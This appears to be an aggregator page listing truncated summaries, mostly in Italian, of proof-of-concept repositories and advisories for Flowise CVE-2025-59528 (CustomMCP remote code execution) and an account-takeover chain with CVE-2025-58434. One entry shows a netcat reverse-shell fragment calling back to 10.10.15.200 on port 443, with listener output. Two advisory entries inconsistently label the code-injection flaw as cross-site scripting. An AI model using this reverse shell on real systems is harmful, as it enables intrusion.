CVE-2025-59528

CVE-2025-59528: Flowise CustomMCP Esecuzione di codice in remoto PoC Una proof of concept in Go per CVE-2025-59528 che mira alle versioni di Flowise = 3.0.5. Riepilogo Flowise consente l'esecuzione di JavaScript non convalidato tramite la configurazione del nodo CustomMCP. L'applicazione passa...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Catena di exploit per due vulnerabilità che interessano Flowise = 3.0.5. Vulnerabilità CVE-2025-58434 — Acquisizione Account Non Autenticata L'endpoint di recupero password restituisce un token valido per il reset della password nella risposta API senza richiedere...

CVE-2025-59528

CVE-2025-59528 – Flowise CustomMCP Node RCE PoC Panoramica Questo repository contiene una prova di concetto che dimostra CVE-2025-59528 in Flowise v3.0.5. La vulnerabilità è presente nel nodo customMCP, dove l'input mcpServerConfig fornito dall'utente viene elaborato in un modo che porta...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE PoC di RCE autenticato per Flowise versione &1|nc 10.10.15.200 443 /tmp/f' Controlla il listener e dovrebbe funzionare: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control...

CVE-2025-59528-POC

CVE-2025-59528 - FlowiseAI CustomMCP Remote Code Execution CVSS 10.0 Critical | Blind RCE | FlowiseAI Flowise = 2.2.7-patch.1 und 3.0.6 Überblick Eine kritische Remote-Code-Execution-Schwachstelle im CustomMCP-Knoten von FlowiseAI Flowise. Die Funktion convertToValidJSONString übergibt...

Flowise-CVE-2025-58434-Chain-59528

Catena CVE di FlowiseAI - ATO CVE-2025-58434 e RCE CVE-2025-59528 ⚠️ Solo per scopi educativi e ricerca di sicurezza autorizzata. Eseguire questo strumento su sistemi di cui non si è proprietari o senza permesso scritto è illegale. Indice dei contenuti Questo repository contiene un proof-of-concep...

Exploit for Code Injection in Flowiseai Flowise

CVE-2025-59528-Flowis...

Flowise Cross-Site Scripting Vulnerability

Flowise is a FlowiseAI open source tool for easily building LLM applications. A cross-site scripting vulnerability exists in Flowise version 3.0.5, which originates from a CustomMCP node directly executing user-entered JavaScript code and can be exploited by an attacker to cause remote code...

Flowise 代码注入漏洞

Flowise is a FlowiseAI open source tool for easily building LLM applications. A cross-site scripting vulnerability exists in Flowise version 3.0.5, which originates from a CustomMCP node directly executing user-entered JavaScript code and can be exploited by an attacker to cause remote code...